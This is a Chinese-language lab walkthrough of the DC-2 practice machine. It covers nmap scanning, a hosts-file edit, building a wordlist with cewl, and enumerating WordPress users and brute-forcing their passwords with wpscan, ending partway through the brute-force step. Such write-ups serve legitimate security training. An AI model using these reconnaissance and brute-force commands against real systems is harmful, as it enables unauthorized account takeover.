DC-2靶机渗透测试（cewl,wpscan,hydra爆破，rbash逃逸，vi提权，git提权）

1. nmap -sP 192.168.1.0/24  或  arp-scan -l    #识别目标主机
 
2. nmap -sn 192.168.1.0/24 #主机发现
 
3. nmap -sS -A -p- 192.168.1.184  #识别目标主机服务，端口
 
  -A 全面系统检测、启用脚本检测、扫描等
  -sS 半开扫描，很少有系统能把它记入系统日志。不过，需要Root权限

nmap扫描后，发现80，7744端口

02.访问地址192.168.1.8:80

从80端口寻找突破口，访问一下http://192.168.1.8:80,发现URL栏写的不是靶机的ip，而是http://dc-2/，而很明显，DNS没有解析出来

03. 注意到nmap扫描时有这样一个提示，基本可以确认需要手动配置hosts文件

04. 配置hosts文件，再次访问，拿到flag1

sudo vim /etc/hosts       #编辑host文件
在文件添加：192.168.1.8（靶机ip） dc-2

三. wpscan枚举,cwel生成字典,爆破获取密码,登录用户,拿到flag2

WordPress 是一个免费的开源内容管理系统，用 PHP 编写，并与 MySQL 或 MariaDB 数据库配对。功能包括插件架构和模板系统。 cewl是一个网页关键字抓取工具，cewl是一个kali自带的密码生成工具,WordPress有一个kali自带扫描工具wpscan可以爆破网站的用户名，想到用关键字作为密码继续进行爆破。

通过flag1中的cewl--->生成字典，wordpress--->wpscan扫描工具（可以爆破网站的用户名）

01. 使用cewl生成密码

1. cewl -w dc2_passwords.txt http://dc-2  #生成字典

02. 确定是wordpress，使用wpscan工具扫描，枚举出了用户

1. wpscan --url dc-2 -e u 或 wpscan --url http://dc-2 --enumerate u #暴力枚举用户名
   
   得出结果有三个用户admin,jerry,tom,将这三个用户保存在us.txt文件中(可以用vi写入)

   wpscan --url dc-2    #扫描wordpress的版本和ip等信息

2. 开始爆破
   wpscan --url http://dc-2 -U users.txt dc2_Passswords.txt    或者

   wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force